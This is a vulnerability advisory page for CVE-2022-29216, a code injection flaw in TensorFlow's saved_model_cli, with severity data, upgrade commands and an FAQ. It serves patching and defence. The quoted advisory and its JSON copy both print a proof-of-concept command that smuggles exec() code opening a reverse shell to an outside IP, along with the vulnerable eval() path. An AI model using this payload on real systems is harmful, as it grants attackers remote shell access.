CVE-2022-29216: Tensorflow Code Injection Vulnerability

HIGH
Advisory Identifier: GHSA-75c9-jrh4-79mc
CVSS 7.8
CWE-94
Published
Advisory Summary

CVE-2022-29216 is a HIGH (CVSS 7.8) code injection vulnerability (CWE-94: Improper Control of Generation of Code ('Code Injection')) affecting Tensorflow libraries in the PyPI ecosystem. The issue involves code injection in `saved_model_cli` in tensorflow. Remediation is available by upgrading affected packages to version 2.6.4, 2.7.2, 2.8.1.

CVE-2022-29216 at a Glance

CVE Identifier CVE-2022-29216
GHSA Identifier GHSA-75c9-jrh4-79mc
Severity HIGH
CVSS v3.1 Base Score 7.8
CWE Classification CWE-94: Improper Control of Generation of Code ('Code Injection')
Affected Product Tensorflow
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 7.8

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).

Attack Vector Local (AV:L)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2022-29216

To remediate this vulnerability, upgrade all affected Tensorflow dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

tensorflow fixed: 2.6.4
pip install tensorflow>=2.6.4
tensorflow-cpu fixed: 2.6.4
pip install tensorflow-cpu>=2.6.4
tensorflow-gpu fixed: 2.6.4
pip install tensorflow-gpu>=2.6.4
tensorflow fixed: 2.7.2
pip install tensorflow>=2.7.2
tensorflow fixed: 2.8.1
pip install tensorflow>=2.8.1
tensorflow-cpu fixed: 2.7.2
pip install tensorflow-cpu>=2.7.2
tensorflow-cpu fixed: 2.8.1
pip install tensorflow-cpu>=2.8.1
tensorflow-gpu fixed: 2.7.2
pip install tensorflow-gpu>=2.7.2
tensorflow-gpu fixed: 2.8.1
pip install tensorflow-gpu>=2.8.1
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show tensorflow

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2022-29216, inspect your installed packages using pip:

pip show tensorflow

Analyze the terminal output to locate any version of Tensorflow in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.6.4), your application is affected.

Note: The pip show tensorflow command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-94: Improper Control of Generation of Code ('Code Injection'), where the product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment. In Tensorflow, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Impact TensorFlow's `saved_model_cli` tool is vulnerable to a code injection: ``` saved_model_cli run --input_exprs 'x=print("malicious code to run")' --dir ./ --tag_set serve --signature_def serving_default ``` This can be used to open a reverse shell ``` saved_model_cli run --input_exprs 'hello=exec("""\nimport socket\nimport subprocess\ns=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\ns.connect(("10.0.2.143",33419))\nsubprocess.call(["/bin/sh","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())""")' --dir ./ --tag_set serve --signature_def serving_default ``` This is because [the fix](https://github.com/tensorflow/tensorflow/commit/8b202f08d52e8206af2bdb2112a62fafbc546ec7) for [CVE-2021-41228](https://nvd.nist.gov/vuln/detail/CVE-2021-41228) was incomplete. Under [certain code paths](https://github.com/tensorflow/tensorflow/blob/f3b9bf4c3c0597563b289c0512e98d4ce81f886e/tensorflow/python/tools/saved_model_cli.py#L566-L574) it still allows unsafe execution: ```python def preprocess_input_exprs_arg_string(input_exprs_str, safe=True): # ... for input_raw in filter(bool, input_exprs_str.split(';')): # ... if safe: # ... else: # ast.literal_eval does not work with numpy expressions input_dict[input_key] = eval(expr) # pylint: disable=eval-used return input_dict ``` This code path was maintained for compatibility reasons as we had several test cases where numpy expressions were used as arguments. However, given that the tool is always run manually, the impact of this is still not severe. We have now removed the `safe=False` argument, so all parsing is done withough calling `eval`. ### Patches We have patched the issue in GitHub commit [c5da7af048611aa29e9382371f0aed5018516cac](https://github.com/tensorflow/tensorflow/commit/c5da7af048611aa29e9382371f0aed5018516cac). The fix will be included in TensorFlow 2.9.0. We will also cherrypick this commit on TensorFlow 2.8.1, TensorFlow 2.7.2, and TensorFlow 2.6.4, as these are also affected and still in supported range. ### For more information Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions. ### Attribution This vulnerability has been reported by Andey Robins from the Cybersecurity Education and Research Lab in the Department of Computer Science at the University of Wyoming.

CVE-2022-29216 Affected Tensorflow Versions

9 component(s)
Fixed Versions:
2.6.42.7.22.8.1
Product / Package Ecosystem Affected Versions Fixed Version
tensorflow
PyPI
< 2.6.4
2.6.4
tensorflow-cpu
PyPI
< 2.6.4
2.6.4
tensorflow-gpu
PyPI
< 2.6.4
2.6.4
tensorflow
PyPI
≥ 2.7.0
< 2.7.2
2.7.2
tensorflow
PyPI
≥ 2.8.0
< 2.8.1
2.8.1
tensorflow-cpu
PyPI
≥ 2.7.0
< 2.7.2
2.7.2
tensorflow-cpu
PyPI
≥ 2.8.0
< 2.8.1
2.8.1
tensorflow-gpu
PyPI
≥ 2.7.0
< 2.7.2
2.7.2
tensorflow-gpu
PyPI
≥ 2.8.0
< 2.8.1
2.8.1

References

Frequently Asked Questions

What is CVE-2022-29216?
CVE-2022-29216 is a security vulnerability in Tensorflow involving Code injection in `saved_model_cli` in TensorFlow under CWE-94: Improper Control of Generation of Code ('Code Injection').
Which Tensorflow versions are affected?
Affected versions include releases prior to 2.6.4, 2.7.2, 2.8.1 across affected packages: tensorflow, tensorflow-cpu, tensorflow-gpu.
What version fixes CVE-2022-29216?
Upgrading to 2.6.4, 2.7.2, 2.8.1 (or the latest patched release for your respective branch) resolves the vulnerability.
Is tensorflow affected?
Yes, tensorflow is affected in releases prior to 2.6.4, 2.7.2, 2.8.1. Upgrade your dependency to 2.6.4, 2.7.2, 2.8.1 or later.
Is tensorflow-cpu affected?
Yes, tensorflow-cpu is affected in releases prior to 2.6.4, 2.7.2, 2.8.1. Upgrade your dependency to 2.6.4, 2.7.2, 2.8.1 or later.
What is the CVSS score of CVE-2022-29216?
CVE-2022-29216 has a CVSS v3.1 base score of 7.8 (HIGH) with vector string CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H.
What CWE is associated with CVE-2022-29216?
CVE-2022-29216 is classified under CWE-94: Improper Control of Generation of Code ('Code Injection') (The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.).
How can I check PyPI dependencies for CVE-2022-29216?
Run the dependency tree command: 'pip show tensorflow'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
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  "id" : "GHSA-75c9-jrh4-79mc",
  "modified" : "2022-06-06T18:13:28Z",
  "published" : "2022-05-24T22:16:48Z",
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  "summary" : "Code injection in `saved_model_cli` in TensorFlow",
  "details" : "### Impact\nTensorFlow's `saved_model_cli` tool is vulnerable to a code injection:\n\n```\nsaved_model_cli run --input_exprs 'x=print(\"malicious code to run\")' --dir ./\n--tag_set serve --signature_def serving_default\n```\n\nThis can be used to open a reverse shell                                      \n\n```\nsaved_model_cli run --input_exprs 'hello=exec(\"\"\"\\nimport socket\\nimport\nsubprocess\\ns=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\\ns.connect((\"10.0.2.143\",33419))\\nsubprocess.call([\"/bin/sh\",\"-i\"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())\"\"\")'\n--dir ./ --tag_set serve --signature_def serving_default\n```\n\nThis is because [the fix](https://github.com/tensorflow/tensorflow/commit/8b202f08d52e8206af2bdb2112a62fafbc546ec7) for [CVE-2021-41228](https://nvd.nist.gov/vuln/detail/CVE-2021-41228) was incomplete. Under [certain code paths](https://github.com/tensorflow/tensorflow/blob/f3b9bf4c3c0597563b289c0512e98d4ce81f886e/tensorflow/python/tools/saved_model_cli.py#L566-L574) it still allows unsafe execution:\n\n```python\ndef preprocess_input_exprs_arg_string(input_exprs_str, safe=True):\n  # ...\n\n  for input_raw in filter(bool, input_exprs_str.split(';')):\n    # ...\n    if safe:\n      # ...\n    else:\n      # ast.literal_eval does not work with numpy expressions\n      input_dict[input_key] = eval(expr)  # pylint: disable=eval-used\n  return input_dict\n```\n\nThis code path was maintained for compatibility reasons as we had several test cases where numpy expressions were used as arguments.\n\nHowever, given that the tool is always run manually, the impact of this is still not severe. We have now removed the `safe=False` argument, so all parsing is done withough calling `eval`.\n\n### Patches\nWe have patched the issue in GitHub commit [c5da7af048611aa29e9382371f0aed5018516cac](https://github.com/tensorflow/tensorflow/commit/c5da7af048611aa29e9382371f0aed5018516cac).\n\nThe fix will be included in TensorFlow 2.9.0. We will also cherrypick this commit on TensorFlow 2.8.1, TensorFlow 2.7.2, and TensorFlow 2.6.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Andey Robins from the Cybersecurity Education and Research Lab in the Department of Computer Science at the University of Wyoming.",
  "severity" : [ {
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